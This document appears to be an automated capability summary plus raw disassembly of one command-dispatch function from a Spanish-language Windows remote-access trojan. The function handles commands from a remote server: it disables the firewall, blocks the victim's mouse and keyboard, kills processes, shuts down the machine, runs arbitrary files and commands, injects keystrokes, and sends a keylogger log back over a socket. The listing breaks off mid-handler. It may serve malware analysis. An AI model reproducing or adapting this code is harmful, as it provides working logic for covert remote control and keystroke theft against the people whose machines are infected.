Function at 0x40454f
Capabilities:
Allocate or change rwx memory
Change the wallpaper
Check for time delay via gettickcount
Check if file exists
Create directory
Create process on windows
Create thread
Delete directory
Delete file
Enumerate processes
Execute shellcode via indirect call
Get file attributes
Get file size
Inject thread
Power down monitor
Query environment variable
Query or enumerate registry value
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set file attributes
Spawn thread to rwx shellcode
Stop service
Swap mouse buttons

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x61c
mov dword [esp], 0
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [0x42d498], eax
mov dword [esp], 1
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [0x42d49c], eax
mov dword [ebp - 0x1c], 0
jmp 0x4078d2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x404655
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x64
jne 0x404655
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Set_CDAudio_door_open
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov dword [esp], 0x320
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Set_CDAudio_door_closed
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov dword [esp], str.___Has_abierto__cerrado_su_lectora__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Has_abierto__cerrado_su_lectora__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6d
jne 0x4046fe
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x4046fe
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x75
jne 0x4046fe
call sub.msvcrt.dll_rand
mov ecx, dword [0x42d49c]
cdq
idiv ecx
mov ebx, edx
call sub.msvcrt.dll_rand
mov ecx, dword [0x42d498]
cdq
idiv ecx
mov eax, edx
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.USER32.dll_SetCursorPos
sub esp, 8
mov dword [esp], str.___El_mouse_se_ah_movido__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___El_mouse_se_ah_movido__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6d
jne 0x40479c
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x40479c
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6e
jne 0x40479c
call sub.USER32.dll_GetForegroundWindow
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0xf170
mov dword [esp + 4], 0x112
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp], str.___Se_ah_apagado_el_monitor_con_exito.__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_ah_apagado_el_monitor_con_exito.__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x62
jne 0x40484a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x40484a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x40484a
mov dword [esp], str.user32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], str.BlockInput
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x64], eax
mov dword [esp], 1
mov eax, dword [ebp - 0x64]
call eax
sub esp, 4
mov dword [esp], str.___Se_ah_bloqueado_mouse__teclado_de_la_victima__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_ah_bloqueado_mouse__teclado_de_la_victima__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x66
jne 0x4048cb
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x69
jne 0x4048cb
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x4048cb
mov dword [esp], 0
call fcn.00401f58
sub esp, 4
mov dword [esp], str.___Se_ah_desactivado_el_firewall_de_Windows_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_ah_desactivado_el_firewall_de_Windows_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x40494a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x40494a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x40494a
mov dword [esp], str.___Has_seleccionado_para_finalizar_la_conexion_con_el_servidor__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Has_seleccionado_para_finalizar_la_conexion_con_el_servidor__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x407938
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x74
jne 0x404a20
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x404a20
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x404a20
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call fcn.00401c15
sub esp, 4
test al, al
je 0x4049e6
mov dword [esp], str.___Exito_al_cerrar_el_proceso__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Exito_al_cerrar_el_proceso__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call fcn.00401aa6
sub esp, 4
jmp 0x40794e
mov dword [esp], str.___El_proceso_que_intenta_cerrar__no_existe__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___El_proceso_que_intenta_cerrar__no_existe__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x404ad1
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x66
jne 0x404ad1
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x66
jne 0x404ad1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._c_shutdown__s__t_00
mov dword [esp + 8], 0x425c74
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], str.___Has_apagado_el_ordenador_de_la_victima__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Has_apagado_el_ordenador_de_la_victima__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x67
jne 0x404ce9
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x404ce9
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x74
jne 0x404ce9
mov dword [esp], 0x42d240
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
test eax, eax
setle al
test al, al
je 0x404b49
mov dword [esp], str.homedrive
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_boot.com
mov dword [esp], 0x42d240
call sub.USER32.dll_wsprintfA
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x42d240
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffff
je 0x404b97
cmp dword [ebp - 0x68], 0
jne 0x404bdf
mov dword [esp], str.___El_keylogger_se_encuentra_desactivado__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___El_keylogger_se_encuentra_desactivado__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40794e
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x70], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x42d020
mov eax, dword [ebp - 0x6c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x6c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dkeylogger.txt
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x374]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov edx, dword [ebp - 0x6c]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x70]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x404d23
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x69
jne 0x404d23
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x404d23
call fcn.00402de6
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6b
jne 0x40548a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x40548a
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x79
jne 0x40548a
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.ENTER
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404d96
mov dword [esp + 4], str.enter
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404d9a
mov al, 1
jmp 0x404d9c
mov al, 0
test al, al
je 0x404dcc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0xd
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.ESC
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404e03
mov dword [esp + 4], str.esc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404e07
mov al, 1
jmp 0x404e09
mov al, 0
test al, al
je 0x404e39
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x1b
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F1
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404e73
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f1
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404e77
mov al, 1
jmp 0x404e79
mov al, 0
test al, al
je 0x404ea9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x70
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F2
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404ee3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f2
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404ee7
mov al, 1
jmp 0x404ee9
mov al, 0
test al, al
je 0x404f19
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x71
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F3
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404f53
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f3
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404f57
mov al, 1
jmp 0x404f59
mov al, 0
test al, al
je 0x404f89
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x72
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F4
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x404fc3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f4
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x404fc7
mov al, 1
jmp 0x404fc9
mov al, 0
test al, al
je 0x404ff9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x73
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F5
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x405033
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f5
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x405037
mov al, 1
jmp 0x405039
mov al, 0
test al, al
je 0x405069
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x74
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F6
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x4050a3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f6
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x4050a7
mov al, 1
jmp 0x4050a9
mov al, 0
test al, al
je 0x4050d9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x75
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F7
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x405113
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f7
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x405117
mov al, 1
jmp 0x405119
mov al, 0
test al, al
je 0x405149
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x76
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F8
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x405183
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f8
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x405187
mov al, 1
jmp 0x405189
mov al, 0
test al, al
je 0x4051b9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x77
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F9
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x4051f3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f9
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x4051f7
mov al, 1
jmp 0x4051f9
mov al, 0
test al, al
je 0x405229
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x78
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F10
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x405263
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f10
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x405267
mov al, 1
jmp 0x405269
mov al, 0
test al, al
je 0x405299
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x79
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F11
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x4052d3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f11
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x4052d7
mov al, 1
jmp 0x4052d9
mov al, 0
test al, al
je 0x405309
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x7a
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.F12
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x405343
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.f12
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x405347
mov al, 1
jmp 0x405349
mov al, 0
test al, al
je 0x405379
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x7a
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.SHIFT
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x4053b3
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], str.shift
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x4053b7
mov al, 1
jmp 0x4053b9
mov al, 0
test al, al
je 0x4053e9
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x10
call sub.USER32.dll_keybd_event
sub esp, 0x10
jmp 0x40794e
mov dword [ebp - 0x20], 3
jmp 0x405430
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
movsx eax, al
mov dword [esp], eax
call sub.msvcrt.dll_toupper
movzx eax, al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_keybd_event
sub esp, 0x10
inc dword [ebp - 0x20]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x20]
setge al
test al, al
jne 0x4053f2
mov dword [esp], str.___Se_han_recibido_e_enviado_las_teclas__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_han_recibido_e_enviado_las_teclas__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x405669
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x70
jne 0x405669
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x405669
mov dword [ebp - 0x24], 1
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x74], eax
mov dword [esp + 4], 0xa
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
sub eax, 4
mov edx, dword [ebp - 0x1c]
lea ecx, [edx + 3]
mov edx, dword [ebp + 8]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
cmp al, 0x31
je 0x405588
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
cmp al, 0x31
je 0x405588
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
cmp al, 1
je 0x405588
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
cmp eax, 1
jne 0x40558c
mov al, 1
jmp 0x40558e
mov al, 0
test al, al
je 0x40559b
mov dword [ebp - 0x24], 1
jmp 0x4055d6
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
cmp al, 0x30
je 0x4055c5
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
cmp al, 0x30
je 0x4055c5
mov eax, dword [ebp - 0x78]
mov al, byte [eax]
test al, al
je 0x4055c5
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
test eax, eax
jne 0x4055c9
mov al, 1
jmp 0x4055cb
mov al, 0
test al, al
je 0x4055d6
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x74]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], str.___El_archivo_se_ah_ejecutado_con_exito.__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___El_archivo_se_ah_ejecutado_con_exito.__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x4056ef
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6d
jne 0x4056ef
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x64
jne 0x4056ef
mov dword [esp], str.___Comando_recibido_y_ejecutado__
call sub.KERNEL32.dll_lstrlenA
